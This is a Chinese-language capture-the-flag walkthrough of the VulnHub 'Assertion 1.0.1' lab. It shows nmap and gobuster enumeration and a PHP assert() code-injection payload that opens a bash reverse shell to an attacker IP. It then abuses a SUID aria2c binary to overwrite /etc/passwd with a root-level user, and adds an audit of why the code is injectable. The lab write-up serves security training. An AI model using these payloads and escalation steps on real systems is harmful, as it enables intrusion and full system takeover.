https://www.vulnhub.com/entry/assertion-101,495/
实验说明
运用枚举与 Web 枚举技术识别漏洞,使用 PHP 断言功能并实施权限提升策略,此外还需利用 SUID 二进制文件的滥用漏洞进一步扩大访问权限。本实验旨在充分发挥你在以下方面的技能:
(注:技术术语精准适配网络安全场景规范:
- "enumeration" 译为 "枚举"(渗透测试核心技术术语,指信息收集过程)
- "PHP assertions" 译为 "PHP 断言"(PHP 语言内置调试功能,常被用于代码注入漏洞利用)
- "privilege escalation" 译为 "权限提升"(渗透测试核心阶段,指获取更高权限的操作)
- "SUID binaries" 译为 "SUID 二进制文件"(Linux/Unix 系统特殊权限文件,其滥用是权限提升常见途径)
- 句式结构保持技术文档严谨性,同时符合中文技术手册表达习惯,便于直接用于实验指导文档)
本实验中,你将利用 PHP 断言中的代码注入漏洞实现远程代码执行(RCE)。权限提升可通过滥用 /usr/bin/aria2c 上配置不当的 SUID 权限来完成 ------ 该权限允许覆盖关键文件(如 root 用户的 authorized_keys),最终以 root 身份通过 SSH 登录目标系统。
完成本实验后,学习者将能够:
- 对 Web 应用程序进行枚举,识别
page参数中的漏洞。 - 利用 PHP 断言代码注入漏洞实现远程命令执行。
- 获取初始 shell,并通过 SUID 二进制文件实现权限提升。
- 滥用
/usr/bin/aria2c工具覆盖 root 用户的authorized_keys文件。 - 以 root 身份通过 SSH 登录目标系统,实现对系统的完全控制。
-
将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.174
-
对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.174

22 端口对应 ssh 访问,80 端口对应的 Web 服务
- 访问 80 端口开放的网站服务

-
指纹识别网站技术栈框架
whatweb -v 192.168.23.174

-
再扫描其网站子目录
gobuster dir -u http://192.168.23.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

查看index.php源码发现查找访问其他文件的超链接

- 访问其中一个超链接看看

尝试文件包含漏洞利用
http://192.168.23.174/index.php?page=../../../../../../../etc/passwd

确认存在文件包含漏洞,但是被网站阻止了
-
尝试通过文件包含漏洞利用代码执行漏洞
' and die(system("whoami")) or'

然后编写反弹 shell 的payload,注意需要进行url编码
' and die(system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"')) or '
%27%20and%20die%28system%28%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20/dev/tcp/192.168.23.128/4444%200%3E%261%22%27%29%29%20or%20%27

注意 kali 监听 4444 端口接收 shell
nc -lvvp 4444

成功 getshell
-
信息收集三件套
id
whoami
uname -a
lsb_release -a

查看 index.php,并且分析其存在的漏洞为什么能够从文件包含升级为命令执行漏洞
GetShell 代码审计
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
$file = "pages/" . $page . ".php";
// Saving ourselves from any kind of hackings and all
assert("strpos('$file', '..') === false") or die("Not so easy brother!");
$val = "pages/". $page;
if(!file_exists($file)){
die ("File does not exist");
}
} else {
$file = "index.php";
}
?>
核心漏洞解析:assert() 导致的命令注入
1. 危险的 assert() 使用
assert() 函数在 PHP 中用于检查一个断言是否为 true。关键在于 :当 PHP 配置为低安全模式(或版本较老)时,如果 assert() 的参数是一个字符串 ,PHP 会将其作为 PHP 代码进行解析和执行。
代码中的断言是:
PHP
assert("strpos('$file', '..') === false") or die("Not so easy brother!");
PHP 解释器会执行双引号内的字符串内容。
2. 绕过防御与注入点
我们来看变量 $file 是如何构建的:
PHP
$page = $_GET['page'];
$file = "pages/" . $page . ".php";
假设我们构造的 GET 请求参数 page 为:
?page=a'.system('whoami').'b
此时,$file 变量的值将是:
pages/a'.system('whoami').'b.php
当这个 $file 值被代入到 assert() 函数的字符串参数中时,整个字符串表达式变为:
"strpos('pages/a'.system('whoami').'b.php', '..') === false"
3. PHP 解释器执行过程
PHP 解释器执行这个字符串时,会按照 PHP 语法规则进行解析:
- 它首先遇到函数调用
strpos(。 - 在
strpos()的第一个参数内部,它遇到一个单引号',结束了字符串'pages/a'。 - 接下来,它遇到了 . (点号),这是 PHP 中的字符串连接符。
- 紧接着是 system('whoami'),这是一个有效的 PHP 函数调用,用于执行系统命令。
system('whoami')的返回值(whoami命令的输出,通常是 Web 用户的名称)会作为字符串连接的一部分。- 然后,它又遇到另一个 . 连接符,后面是字符串
'b.php'。 - 最终,
strpos()函数接收到的第一个参数是一个拼接后的字符串 (pages/a+whoami输出 +b.php)。 assert()函数的执行结果,取决于strpos()是否返回false。无论 **strpos()**的结果是什么 ,在它执行之前,**system('whoami')**已经被执行了!
这种利用字符串连接符(.)中断 并重新开始 PHP 字符串,从而注入恶意函数调用的手法,就是 assert() 漏洞的关键利用点。
反弹 Shell 载荷的执行
有了上述的注入机制,要反弹 Shell,只需要将恶意的系统命令替换掉 system('whoami')。
攻击载荷
-
注入参数 page**:**
a'.system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"').'b
-
在 **assert()**中形成的表达式:
"strpos('pages/a'.system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"').'b.php', '..') === false"
最终效果
在 PHP 解释器执行这个断言时:
- 它会执行
system()函数。
system() 执行 Bash 命令:
-
Bash
bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"
-
该 Bash 命令在目标服务器上启动一个交互式 Shell ,并将这个 Shell 的标准输入、输出和错误 重定向到攻击者在 192.168.23.128:4444 上监听的 TCP 连接,从而实现了反弹 Shell。
-
查看提权方法:sudo 和 suid
sudo -l
find / -perm -u=s 2> /dev/null

在 SUID 滥用技术中,aria2c 的作用是利用其自身的功能特性,来间接执行攻击者注入的命令。
1. 权限继承者(SUID Carrier)
- 核心功能: 由于
aria2c被设置为 SUID root (通过sudo install -m =xs命令),当一个低权限用户执行./aria2c时,该进程会继承文件所有者(root)的权限。 - 攻击目的: 确保后续的操作(包括执行外部脚本)是以 root 用户的最高权限运行的。
2. 命令触发器(Command Trigger)
- 利用的选项: 攻击者利用了
aria2c的回调选项,特别是--on-download-error=<FILE>。
-
- 这个选项的本意是让用户在下载失败时可以运行一个清理或通知的脚本。
- 执行机制: 攻击者故意指定一个会失败的下载目标(如
http://x),强制aria2c触发下载错误 。一旦错误发生,aria2c就会以它继承的 root 权限 去执行$TF(包含恶意命令的临时文件)。
-
aria2c是一个用来下载文件的程序,先保存目标/etc/passwd到本地添加一个新用户,之后使用aria2c覆盖目标/etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
soz:x:1000:1000:Faisal:/home/soz:/bin/bash
fnx:x:1001:1001::/home/fnx:/bin/sh

-
保存到本地后添加新用户
openssl passwd -6 -salt salt password
在 passwd 里面添加新用户
a:1a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash
mousepad passwd

-
kali 开启 http 服务,供靶场下载篡改的 passwd 文件
python -m http.server
然后通过 aria2c 命令将修改好的passwd并覆盖的passwd
cd /etc
aria2c --on-download-error=$TF http://192.168.23.128:8000/passwd --allow-overwrite=true

然后尝试切换为具有 root 权限的 a 用户,密码 a
python3 -c 'import pty; pty.spawn("/bin/bash")'
su a

总结su a切换会失败:这个错误信息意味着你尝试执行 su 命令的环境不是一个真正的 TTY (Teletypewriter) 或伪终端 (Pseudo-Terminal)。
- su****命令的目的:
su旨在启动一个新的交互式 shell,并切换到另一个用户(通常是root)。为了安全地处理密码输入、会话管理和信号处理,它需要一个交互式的环境,即一个终端。 - 当前环境( www-data**):** 你当前的用户是
www-data。在 Web 服务器环境中,www-data通常是运行 Apache 或 Nginx 等 Web 服务的低权限用户。你获得这个 shell 很可能是通过一个Web 漏洞(例如反弹 Shell 或命令注入),这个 shell 往往是:
-
- 非交互式的 Shell: 比如由
system()、exec()或bash -c等函数启动的 Shell。它是一个管道 或网络套接字连接,但操作系统不将其识别为完整的终端会话。 - 没有 TTY 分配: 缺少 TTY 分配,意味着系统无法安全可靠地处理密码输入(防止被嗅探或回显)以及控制任务。
- 非交互式的 Shell: 比如由
-
成功得到 flag
cat /root/root.txt
